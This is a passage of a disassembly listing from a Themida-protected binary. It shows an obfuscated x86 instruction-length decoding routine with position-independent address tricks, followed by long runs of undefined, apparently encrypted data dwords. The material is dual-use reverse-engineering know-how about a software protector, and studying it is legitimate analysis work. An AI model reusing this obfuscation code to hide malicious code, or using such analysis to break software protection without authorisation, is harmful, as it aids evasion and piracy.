		mov	byte ptr [ebp-4], 4


loc_5A7640:				; CODE XREF: Themida_:005A762Fj
		push	ebx
		push	esi
		push	edi


loc_5A7643:				; CODE XREF: Themida_:005A7698j
					; Themida_:005A76B4j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5A7656:				; CODE XREF: Themida_:005A767Dj
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 62FB8EBh
		lea	ebp, [ebp+62FB761h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5A7683
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5A7656


loc_5A7683:				; CODE XREF: Themida_:005A7672j
		cmp	cl, 0Bh
		jz	loc_5A76E0
		cmp	al, 66h
		jnz	loc_5A76C1
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5A7643
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5A76B9
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5A7643
; ---------------------------------------------------------------------------


loc_5A76B9:				; CODE XREF: Themida_:005A76A6j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5A76C1:				; CODE XREF: Themida_:005A768Ej
		cmp	al, 67h
		jnz	loc_5A7643
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5A7643
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5A7643
; ---------------------------------------------------------------------------


loc_5A76E0:				; CODE XREF: Themida_:005A7686j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5A770C
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5A7711
; ---------------------------------------------------------------------------


loc_5A770C:				; CODE XREF: Themida_:005A76EBj
		movzx	edi, al
		shr	edi, 1


loc_5A7711:				; CODE XREF: Themida_:005A7707j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 62FB9A3h
		lea	ebp, [ebp+62FB661h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5A7893
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5A77D7
		dec	ecx
		jz	loc_5A77BA
		dec	ecx
		jnz	loc_5A782A
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A7826
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A7799
		mov	byte ptr [ebp+0Bh], 2


loc_5A7799:				; CODE XREF: Themida_:005A778Fj
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 62FBA2Fh
		mov	dword ptr [ebp+62FB781h], 1
		pop	ebp
		jmp	loc_5A782A
; ---------------------------------------------------------------------------


loc_5A77BA:				; CODE XREF: Themida_:005A7774j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A7804
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A7804
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5A7804
; ---------------------------------------------------------------------------


loc_5A77D7:				; CODE XREF: Themida_:005A776Dj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A781D
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A780C
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5A7804
		mov	[ebp+0Bh], cl


loc_5A7804:				; CODE XREF: Themida_:005A77BEj
					; Themida_:005A77C8j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5A782A
; ---------------------------------------------------------------------------


loc_5A780C:				; CODE XREF: Themida_:005A77E5j
		cmp	dl, 5
		jnz	loc_5A782A
		mov	[ebp+0Bh], dl
		jmp	loc_5A782A
; ---------------------------------------------------------------------------


loc_5A781D:				; CODE XREF: Themida_:005A77DBj
		cmp	dl, 6
		jnz	loc_5A782A


loc_5A7826:				; CODE XREF: Themida_:005A7785j
		mov	byte ptr [ebp+0Bh], 3


loc_5A782A:				; CODE XREF: Themida_:005A777Bj
					; Themida_:005A77B5j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5A7858
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5A783A:				; CODE XREF: Themida_:005A7850j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5A783A
		mov	esi, edx


loc_5A7858:				; CODE XREF: Themida_:005A782Dj
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5A788D
		cmp	edi, 7Fh
		ja	loc_5A788D
		test	bl, 38h
		jnz	loc_5A788D
		cmp	byte ptr [ebp-7], 0
		jz	loc_5A7887
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5A788A
; ---------------------------------------------------------------------------


loc_5A7887:				; CODE XREF: Themida_:005A7878j
		push	1
		pop	eax


loc_5A788A:				; CODE XREF: Themida_:005A7882j
		mov	[ebp-1], al


loc_5A788D:				; CODE XREF: Themida_:005A785Cj
					; Themida_:005A7865j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5A7893:				; CODE XREF: Themida_:005A773Dj
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5A78BE
		dec	eax
		dec	eax
		jz	loc_5A78B4
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5A78C6
; ---------------------------------------------------------------------------


loc_5A78B4:				; CODE XREF: Themida_:005A78A3j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5A78C3
; ---------------------------------------------------------------------------


loc_5A78BE:				; CODE XREF: Themida_:005A789Bj
		mov	al, [ebp-3]
		add	al, 4


loc_5A78C3:				; CODE XREF: Themida_:005A78B9j
		add	[ebp-1], al


loc_5A78C6:				; CODE XREF: Themida_:005A78AFj
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5A78EE
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5A78D9:				; CODE XREF: Themida_:005A78E8j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5A78D9


loc_5A78EE:				; CODE XREF: Themida_:005A78CEj
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	85h, 2Eh
		dd 89062FB8h, 2A321185h, 266E906h, 66600000h, 0C1F6D98Ch
		dd 35840F04h, 6A000000h, 1DB5FF01h, 8D062A23h, 2D81A985h
		dd 89D0FF06h, 2A037585h, 0C1FE8B06h, 680CEFh, 6A200600h
		dd 57026A00h, 1000D68h,	7595FF00h, 0E9062A03h, 32h, 27C985C6h
		dd 6856062Ah, 0A9C530DFh, 22C9B5FFh, 858D062Ah,	62D81A9h
		dd 8589D0FFh, 62A321Dh,	2C29858Dh, 6A50062Ah, 56056A40h
		dd 321D95FFh, 0C361062Ah, 3 dup(0)
		dd 60D48B52h, 8908428Bh, 2FBC1085h, 0C428B06h, 0BC088589h
		dd 428B062Fh, 0C858910h, 8D062FBCh, 2FBC46B5h, 0A1858D06h
		dd 0FF005B8Eh, 0C25A61D0h, 0B58B000Ch, 62FBC10h, 0BC08858Bh
		dd 0BD83062Fh, 62FBC0Ch, 7840F00h, 89000000h, 2E906h, 6880000h
		dd 0CFh, 0
		dd 0D48B5200h, 8428B60h, 0BC108589h, 0B58D062Fh, 62FBC97h
		dd 8EA1858Dh, 0D0FF005Bh, 858B5A61h, 62FBC10h, 8B0004C2h
		dd 2FBC1085h, 89008B06h, 2FBC1085h, 0CF06h, 89600000h
		dd 2FBC6DB5h, 69858906h, 8D062FBCh, 2A351985h, 44408B06h
		dd 0BCA68589h, 0B58D062Fh, 62FBCDCh, 8EA1858Dh,	0D0FF005Bh
		dd 6D858B61h, 0C3062FBCh, 0BC699D8Bh, 0B70F062Fh, 0D8033C43h
		dd 3785B8Bh, 2FBC699Dh,	24738B06h, 0BC69B503h, 8B56062Fh
		dd 738B207Bh, 69BD031Ch, 3062FBCh, 2FBC69B5h, 0C983FC06h
		dd 9D8B41FFh, 62FBC6Dh,	9503178Bh, 62FBC69h, 8A04C783h
		dd 0FC08402h, 0F84h, 0F033A00h,	0FFFFDC85h, 0E94243FFh
		dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h
		dd 85038604h, 62FBC69h,	0BC6D8589h, 0F08B062Fh,	0C18BCE8Bh
		dd 0BCA6BD81h, 62Fh, 850FC030h,	0Dh, 2514E8C1h,	0FFCh
		dd 8E9h, 12E8C100h, 3FF825h, 0A6BD8B00h, 83062FBCh, 8B06070Ch
		dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 0BCA6BD81h, 62Fh
		dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h
		dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h
		dd 0A6BD8100h, 62FBCh, 0FC03000h, 0E84h, 3FF82500h, 808B0000h
		dd 0C0600000h, 0CF060883h, 0BC14858Dh, 8589062Fh, 62A3501h
		dd 0BCAA858Dh, 8589062Fh, 62A1789h, 0BC71858Dh,	8589062Fh
		dd 62A148Dh, 0BF018D8Dh, 6A062Fh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 1A54A0C3h, 921D6F94h
		dd 33958D89h, 6A062Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 9EAB6EC3h, 0C7F38A0Eh, 2A0BF985h
		dd 604006h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8BC916E9h, 0C585C7F9h, 62A06h, 0E9000000h
		dd 7, 0F7A4EC67h, 0FFDD9D39h, 2A196DB5h, 0F78B6606h, 5C195FFh
		dd 6A062Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 51608EC3h, 8C0Fh,	0F590000h, 148Dh, 0EE800h
		dd 0C9E50000h, 5841C7EAh, 5FD20EEFh, 0C1D52720h, 6A615Ah
		dd 343995FFh, 0C08B062Ah, 0B6DE7CEBh, 0F10F7B22h, 9C878EECh
		dd 0E1FC5C07h, 0B63BF345h, 6C15FA05h, 0ABB33CA0h, 26025C2Dh
		dd 13B1E756h, 0B365D24Ch, 26CC7D62h, 0A1225448h, 0B10F3BCAh
		dd 0C1412E8Bh, 3EE04623h, 42C89BB2h, 0D53E0D41h, 91C95AC2h
		dd 0D5A203E9h, 4CAE2FDEh, 0BDCCC21Fh, 4750FBFh,	7FA7B398h
		dd 0BDE01BD0h, 0FB1E6CEBh, 581A90C9h, 0F281665Eh, 6BD1809Ch
		dd 6EE34C52h, 5ADD3561h, 37422E3Ah, 8D8DAEE1h, 62FC062h
		dd 2D258D89h, 8D89062Ah, 62A3395h, 68A0Fh, 9D8B0000h, 62A34C9h
		dd 0BF985C7h, 689C062Ah, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 66F81AC3h, 0B8AF8FBAh
		dd 5D1214D5h, 6C585C7h,	62Ah, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 5BF1E4C3h
		dd 0AA0EA38h, 19B5898Eh, 0FF062A2Eh, 2A2D0DB5h,	0B9BD8906h
		dd 0FF062A32h, 2A05C195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 304CD976h
		dd 0E901B700h, 14h, 0FBE81E5Bh,	8AB676A3h, 0CF26AD93h
		dd 5B9EEE38h, 70D7694Fh, 0CB8B6660h, 33DDBD89h,	6A61062Ah
		dd 3995FF00h, 8B062A34h, 1D6DEBC0h, 0D04FCCB4h,	0D6D084CBh
		dd 7129B928h, 190BF134h, 949E91C4h, 3FF9DF03h, 0DDBF1B5Dh
		dd 0AF277AECh, 0D3AC9D2Eh, 2CE70B87h, 0AD12EA72h, 0D77C8B4Fh
		dd 3D931AEDh, 1D4049DAh, 57545B4Dh, 3EB178E7h, 94267091h
		dd 8D6925EBh, 1943A707h, 67DDF04Ch, 0A20060D1h,	105EFA64h
		dd 0A39068D6h, 0EA5501F5h, 0B50EE8DBh, 0F1248726h, 0AB83019Bh
		dd 0D18BC08Bh, 2451BD83h, 7500062Ah, 89BD8309h,	62A2Ah
		dd 53501974h, 0FCB8C08Bh, 89000003h, 2A278985h,	699D8D06h
		dd 0FF062CBBh, 83585BD3h, 2A2A89BDh, 17740006h,	0FCB85350h
		dd 89000003h, 2A278985h, 589D8D06h, 0FF062CB8h,	0E9585BD3h
		dd 12h,	6335C7DEh, 0F44E80B3h, 431738DEh, 644E7089h, 6ABF66h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0E8FB4FC3h, 0AFB3802Eh, 0B747A3DAh, 0E8C08B7Bh, 0Ah
		dd 0E65AB1BCh, 64D2658Bh, 0F6014EAh, 8Ch, 6166B600h, 15BD835Ah
		dd 1062A34h, 48840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 1EDC57C3h, 5810FABh
		dd 0BA000000h, 2F963EDAh, 1341BD83h, 0F00062Ah,	1185h
		dd 39F68000h, 3245BD83h, 0F00062Ah, 2484h, 6BE9FC00h, 66000003h
		dd 0FCF27BAh, 0D1B7h, 860F0000h, 8, 2860Fh, 5A500000h
		dd 8ADEB70Fh, 0C4B048F1h, 0C403CD05h, 4E80FC9Ch, 0FC039590h
		dd 95ED0AC7h, 0B6052EC7h, 1F5BD499h, 1701AFB3h,	8001E183h
		dd 0D005E2C7h, 2068B291h, 69A30BF0h, 958E5317h,	16052EC7h
		dd 0DFEC3E24h, 0FC058BC3h, 95ED93C7h, 0B605E2C7h, 1F5BB299h
		dd 17019CB3h, 82017883h, 0D0052EC7h, 99C9D491h,	7E505470h
		dd 9605C5C7h, 0CEE8639Ah, 0FC035E05h, 95EDE9C7h, 0B6055CC7h
		dd 1F5CED9Eh, 1701338Bh, 8201AF83h, 0D705C5C7h,	0F0A12196h
		dd 1763A24Ch, 0FC5A450Dh, 95ED0BC7h, 0B6052EC7h, 1F5AD498h
		dd 1701AFBBh, 8E01E183h, 0D105E2C7h, 1F80B290h,	2C21B815h
		dd 0A80AF5A6h, 568E8775h, 0C6F9A157h, 99955B4Ch, 9605C04Bh
		dd 5C8484C7h, 970A4483h, 0FCFB9C8Bh, 95ED0AC7h,	0B6052EC7h
		dd 1F5BD499h, 1701AFB3h, 8B01E183h, 0D005E2C7h,	8616B291h
		dd 0F697FEF2h, 1531A73Ch, 968521A7h, 990517C7h,	96059944h
		dd 96082CC7h, 3FD9E2C7h, 0C4099D48h, 0BAC3EEB0h, 0F759E104h
		dd 0C305449Fh, 9605142Fh, 5558ABC7h, 0B2694C9Ah, 0B24163C3h
		dd 960569C3h, 5550FDC7h, 0AD63Dh, 94092B32h, 1D5417C7h
		dd 9E8ED114h, 7E52C5ADh, 9605E2C4h, 0C9C62EE7h,	9221C44Eh
		dd 92211846h, 96052EDFh, 8CC64080h, 691BC3E7h, 6A4D4EA1h
		dd 960F0A3Eh, 1271C7h, 0F9C8C64Ah, 6D04FF7Bh, 0CCDA99C8h
		dd 9605167Fh, 0C605E1C7h, 9605C62Fh, 555DC2C7h,	0B241F89Fh
		dd 0B24139C3h, 96054BC3h, 55556EC7h, 8111D391h,	1D57DB56h
		dd 0F634CA10h, 0CC6483A7h, 1F0A219Fh, 9605B8C3h, 0EB86E6A1h
		dd 0F0DAA556h, 4F8FCE4Bh, 73D60AA1h, 92C4339Ch,	971067C8h
		dd 966F71C7h, 96065091h, 0C8255CC7h, 0E28C7004h, 0D28413E3h
		dd 96198FE3h, 0C043C5C7h, 0AC6AB904h, 120BB8A6h, 46BF0432h
		dd 7F421E91h, 96052ED4h, 9753DFF8h, 0EED424F7h,	0F0AD4EACh
		dd 0B5A1CA7Ch, 1DA5DFBCh, 93ECE119h, 3F055CC7h,	0C6E35FCCh
		dd 996D2E47h, 9604A342h, 960D2DC7h, 9DFCE2C7h, 82ED2066h
		dd 0CCF056ECh, 0FC04254Ch, 95ED7DC7h, 0B60517C7h, 1F5E489Ch
		dd 1701E19Bh, 8301C683h, 0D50571C7h, 736B7B94h,	0FD8C8746h
		dd 69840ED4h, 160517C7h, 96E209C8h, 5985C5C7h, 96150A97h
		dd 0DBA771C7h, 9B147FFDh, 39EE2A49h, 9AA314E5h,	458E5EABh
		dd 48804C9Ch, 9703EA06h, 0F005E2C7h, 48BF9246h,	9605052Eh
		dd 0C00536C7h, 96052D2Fh, 555B37C7h, 0B2710299h, 0B24144C3h
		dd 9605F4C3h, 555337C7h, 0F0B5C780h, 0DBA88E46h, 9605BE2Eh
		dd 0C5057DC7h, 9605882Fh, 555EE5C7h, 0B2596B9Ch, 0B241F0C3h
		dd 9605AEC3h, 55561FC7h, 99A8F41Eh, 9605154Fh, 0CF633DC7h
		dd 7E50C5ADh, 9605E2C4h, 0CBC62CE7h, 9221D44Eh,	92211846h
		dd 96052ED2h, 2EC64282h, 960E62B5h, 0FEE6C5C7h,	9C252EB0h
		dd 4219F6C9h, 0EF86DEF7h, 120AA3CCh, 96052EF6h,	51DEA8C8h
		dd 0B9C45542h, 9605C4C1h, 0C40588C7h, 9605722Fh, 555F98C7h
		dd 0B251D59Dh, 0B241AFC3h, 960500C3h, 5557C9C7h, 69A8C7CAh
		dd 61856070h, 2C6339F1h, 0BBCCDC0h, 1B556800h, 0B9C3E542h
		dd 0C8B89AC1h, 0AD03A402h, 0A602B13Fh, 0D1CC33C8h, 1C0A842Ch
		dd 9605B8C4h, 0FCDDE3C8h, 95ED7CC7h, 0B60517C7h, 1F5F489Dh
		dd 1701E193h, 8201C683h, 0D40571C7h, 156B7B95h,	0BC31497Ah
		dd 120A2FC1h, 9605178Fh, 0F345397Ch, 0D7B846B6h, 9603C8D4h
		dd 9633F4C8h, 87EDB8C7h, 27055CC7h, 29069A4Dh, 571F5CF2h
		dd 6B259E01h, 388A3E83h, 2B86B93Fh, 902F4382h, 0AC81B7C7h
		dd 0C7055CC7h, 9605242Eh, 97A8D3C7h, 82AC51Ah, 0CC4F65EDh
		dd 96057D2Eh, 0C6051BC7h, 9605BB2Fh, 555D7CC7h,	0B241A79Fh
		dd 0B24196C3h, 960597C3h, 555585C7h, 0C467E41Dh, 71E3FF3Ah
		dd 83B83B86h, 970376F3h, 9660ABC8h, 290A17C7h, 1D65D615h
		dd 0D2BCA318h, 0FCC683ECh, 95ED24C7h, 0B605B8C7h, 1F589F9Ah
		dd 17010AABh, 8A013383h, 0D3058BC7h, 0CB9C0692h, 2F7CA242h
		dd 2DFF73EFh, 0CCBE06D7h, 995F0DA7h, 7F64DE78h,	960517EBh
		dd 7E508BADh, 9605C5C4h, 0CBC6BFE7h, 92211D4Eh,	9221FC46h
		dd 96055CD1h, 42C67B82h, 17631501h, 0CB284135h,	2DCA9D74h
		dd 0AF96384Dh, 57F0CC4Ah, 1B88BEE8h, 902A9A5Fh,	0AC59337Fh
		dd 0B38024BCh, 0BD03A1C4h, 0BBC08h, 421B5568h, 0C1B9C3E5h
		dd 2C8B89Ah, 3FAD03A4h,	0C8A602B1h, 2CD1CC33h, 0F305E983h
		dd 0DEBD83A4h, 62FC1h, 8D8D0D74h, 62A4E97h, 1B8h, 40E1FF00h
		dd 12E9h, 86A3CB00h, 0D528520Fh, 5814978Ch, 5AA2A648h
		dd 83019C29h, 8E82DE8h,	3000000h, 14F8A24Ch, 66CAE13Bh
		dd 3145EB81h, 6AC08B5Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 8AE5C350h, 0DE960h
		dd 253B0000h, 0B42D5339h, 208045DCh, 8382C1BEh,	2A2451BDh
		dd 9750006h, 2A89BD83h,	7400062Ah, 8B535019h, 3FCB8C0h
		dd 85890000h, 62A1A01h,	0BBD09D8Dh, 0D3FF062Ch,	0BD83585Bh
		dd 62A2A89h, 50177400h,	3FCB853h, 85890000h, 62A1A01h
		dd 0B8719D8Dh, 0D3FF062Ch, 0D88B585Bh, 53D51BAh, 0E9C08B1Bh
		dd 16h,	23981E33h, 77E7339Ch, 3	dup(0)
		dd 0DBE90000h, 6800000Dh, 62FC935h, 0FAB681E9h,	0CA4368FFh
		dd 77E9062Fh, 68FFFAB6h, 62FCBEAh, 0FAB66DE9h, 0CD2968FFh
		dd 63E9062Fh, 68FFFAB6h, 62FCEE9h, 0FAB659E9h, 0D17268FFh
		dd 4FE9062Fh, 68FFFAB6h, 62FD30Fh, 0FAB645E9h, 0D3F568FFh
		dd 3BE9062Fh, 48FFFAB6h, 6A22BCA0h, 853DD797h, 0A25AF47Eh
		dd 0C27A1464h, 0BC983242h, 0DE966EF2h, 0FD798C44h, 1E3CAB63h
		dd 3A36CC84h, 0ACA1BAA0h, 289F4489h, 37C9992Eh,	63BBA5CBh
		dd 9E37D19Fh, 818132D0h, 0B1E7DEEFh, 7F64135Ch,	389D74A6h
		dd 6DC8BDA3h, 5222706Ah, 0C0DFD6E7h, 46469FCBh,	0CBB52024h
		dd 9A45ED4Ch, 6D40328h,	5C7C73FBh, 3E4B269h, 0BE0C6057h
		dd 12D911D2h, 4Dh, 0A1EA3F4Ah, 56B5FDF2h, 8FFA2445h, 0F93C31E0h
		dd 0BE2899A6h, 0A775C0B5h, 0DF4A2899h, 0B2A1FCEh, 0AC2899A7h
		dd 71F04A41h, 2899A6C8h, 48C8DA2Bh, 0A56C8D32h,	0B40CF607h
		dd 0EF3A2450h, 82536C5Fh, 57735F52h, 79D911D7h,	0C8h, 0A5CB37B1h
		dd 0E35247F6h, 0D4226F7Ch, 70C5BA69h, 47226F7Dh, 338BE5DCh
		dd 61B9A3D1h, 8DE5CFA1h, 8261FB75h, 226F7968h, 0E17BF50Dh
		dd 0E897D929h, 80F14439h, 5BC6226Fh, 65BA0A64h,	0F0BE6D1Ch
		dd 0C76E63F7h, 0F8226F80h, 8277968Dh, 24456030h, 85ED16E4h
		dd 17B11C8Eh, 5BDACF7Eh, 5C2899A0h, 6FC4FAF1h, 0D0827726h
		dd 712A6DEBh, 7B895706h, 5DA75FF9h, 42C01117h, 2F896463h
		dd 0B96E3h, 76E60200h, 91DD24DCh, 0AEC43FF7h, 0CEAA5C14h
		dd 0EC887C34h, 28AC7652h, 46FE98DCh, 651DB7BFh,	863ED882h
		dd 745AF47Ch, 45CF665Bh, 5BF0289Fh, 0A7CD378Bh,	0C3AD550Dh
		dd 0E9862F14h, 0AAF8695Dh, 624C28DCh, 0F4C6D0C7h, 83B2A756h
		dd 34226F7Dh, 479CD2C9h, 585A4FFEh, 0AC244556h,	0A9832AC7h
		dd 0AE7CD52Fh, 0B5271E56h, 58E1604Ah, 98289A18h, 0D9BE7568h
		dd 0D8F9CBFEh, 287C732Fh, 0D9116CA2h, 0B97C7120h, 0FE2899CFh
		dd 0D58B9C93h, 0C3000000h, 0BBA5CB37h, 0E9D3A163h, 290C01B0h
		dd 0C2226F7Dh, 0AF4A3444h, 0E64B42ADh, 226F7904h, 0F3C04210h
		dd 0DE796311h, 7A48E3CDh, 0B3F1E888h, 0CF87214Fh, 3533D33h
		dd 165AA8AEh, 0D180912Ch, 455FD6DCh, 0D670DB24h, 0D988D126h
		dd 0B98974F4h, 987DF24Eh, 26216554h, 5F7E7536h,	6E1DF76Ah
		dd 9E4DB82Ah, 0A64034D0h, 0D9C33F0Dh, 1717A020h, 281F301Dh
		dd 545A1AEAh, 6462FD87h, 881C68C2h, 0F400000Ah,	16CE68F4h
		dd 31E983EBh, 4E06A0D2h, 6E26C0B8h, 6844DE96h, 8AEA1A9Eh
		dd 0A9CD38F0h, 0CA90570Fh, 0E68A7830h, 584D664Ch, 289F46DDh
		dd 377D4DE2h, 5DFDEACDh, 2DC7D873h, 34E38D75h, 7DA59085h
		dd 0AF1A226Fh, 4715AEB8h, 132217BBh, 0A4226F7Dh, 0D9312839h
		dd 0BBA5CB37h, 37D19F63h, 0D52C3287h, 3A38CB99h, 0F5A4B550h
		dd 45492600h, 7709EE24h, 8EB4E00Eh, 41559A8h, 81309B0Dh
		dd 2D2452B3h, 7CE654D3h, 0DC0C2899h, 9CDFDE9h, 10F5D911h
		dd 0EC7002F5h, 5160DA9h, 73Ch, 0A1EA3F3Dh, 4971FDF2h, 0CB362445h
		dd 0B0D762E1h, 0E9192899h, 93713FF6h, 655CF7E1h, 113DB911h
		dd 0C93B09D9h, 4D27DDABh, 70E4556h, 567D0000h, 7D83B2A7h
		dd 0F534226Fh, 42D0CA5Fh, 816677FCh, 8EB5AAD2h,	83E3540h
		dd 0D6BB6AB3h, 0F9019430h, 0C2B2276h, 458DDB17h, 0FFE95424h
		dd 998EB980h, 14073728h, 111AA228h, 6CE2ED9h, 56660000h
		dd 33E94B71h, 0EBC0A5D3h, 58B7AEABh, 3D86DB45h,	4059998Eh
		dd 6BD62446h, 1905CDB2h, 91E6B4A5h, 0F5EA9948h,	0ACAF6740h
		dd 685D0C77h, 0ACAF66CDh, 719087F2h, 8549A27Ch,	43BFE7AEh
		dd 469B9A8Fh, 0B11CAE85h, 4515D2A0h, 43114A34h,	31CCB6A4h
		dd 66AF043Ah, 9332D2B7h, 0C410C6F7h, 2920313Dh,	0A56B150Ah
		dd 42CB05Ah, 0EC8771FDh, 0A85E2CDBh, 3577E6D0h,	0B0FFFE08h
		dd 0EF0E0516h, 34D2E121h, 95A09544h, 2AACAF5Bh,	5C14AEBFh
		dd 21C4CAA6h, 28EE9C89h, 8E182CEh, 9B4D0000h, 926F27C1h
		dd 798A42DCh, 5FA75FF9h, 3DC77F19h, 0F7C19D37h,	49E39173h
		dd 68027491h, 892337B0h, 0A53F31D1h, 84B1A6BFh,	3B289F48h
		dd 7156D6A6h, 0E5C0F967h, 7FBDB449h, 0B303ED83h, 9866155Eh
		dd 0BBB34E4Fh, 2E25C0AAh, 0E1971A0Fh, 0F0182440h, 0DA755F13h
		dd 957FDB0Ch, 704FE9FAh, 289F5D99h, 37CB73B7h, 96EF9F39h
		dd 54B99E4Dh, 218EA38Ch, 0C6BBDAD1h, 289ECB67h,	0A038CD9Bh
		dd 9ECB8AABh, 0B1C22D28h, 0DE946FC7h, 0F964D6CDh, 684BB70Fh
		dd 19C8D99Dh, 0C3BAB84Bh, 0A23B20B9h, 6964190Bh, 0B2837827h
		dd 5289E83h, 0EB3EA39Ah, 8289E82h, 29E17BDFh, 4828DAD9h
		dd 6BCE4D37h, 88E3BF93h, 0B50DF77Bh, 0B03E2832h, 0D99AB3A6h
		dd 82805649h, 669C54EEh, 98A1200Ah, 2F1C4063h, 0B3503116h
		dd 0A6D6E197h, 0C69C8FAFh, 0EE9A343Ch, 154h, 0A5CB372Ch
		dd 4DB482BBh, 7DA78E83h, 0AD18226Fh, 3C34CE9Ch,	7AE00745h
		dd 7D241190h, 20EE226Fh, 5C9A91E5h, 0C2F90DA6h,	0AF4A3444h
		dd 53A38D9Eh, 0B861E1FEh, 0E296C3A6h, 842D22D1h, 2B244194h
		dd 0C935BAC0h, 0BA146A8Bh, 7A26Eh, 82DA0E00h, 9DD130E8h
		dd 0BAB84B03h, 0DA9E6820h, 0F87C8840h, 34B8825Eh, 520AA4D0h
		dd 7129C3B3h, 924AE476h, 80660070h, 49C37267h, 5FF4289Fh
		dd 0A5CB378Fh, 97DB28F6h, 0C11B12ADh, 0E61C9B69h, 2E3F39CDh
		dd 0E998A944h, 9BEDB204h, 0C070500Bh, 0BB6BA52Bh, 26302738h
		dd 4E43796Eh, 22702FE7h, 0C25C6DD8h, 0DE78F80Ah, 0E796DE26h
		dd 9C86E819h, 58B00A01h, 0D5452AACh, 54013A15h,	985ED7CCh
		dd 6F95226Fh, 7E801B05h, 0C0180213h, 0DA493327h, 0CA629797h
		dd 0C14513B1h, 9F94CDB7h, 22703B96h, 0AAC4BE29h, 919A9EB7h
		dd 0B296EBACh, 7D74B649h, 70946A5Dh, 2E9C6A04h,	0A2D2E7C8h
		dd 7, 9343DAh, 56810000h, 0C63B7C88h, 12AD97A8h, 4B25DD1Bh
		dd 6D57E261h, 699C226Fh, 3BCB230Dh, 0DE946F3Dh,	2619A9F4h
		dd 6F9130Dh, 49ED230h, 0D5BF9B4Ch, 6F8CE456h, 0E8DB1522h
		dd 0EB85D512h, 0F4808452h, 20786F0Ah, 83B2A756h, 87226F7Dh
		dd 6F7DA392h, 0A7A91422h, 0E007453Ch, 0AF38907Ah, 2933C1ABh
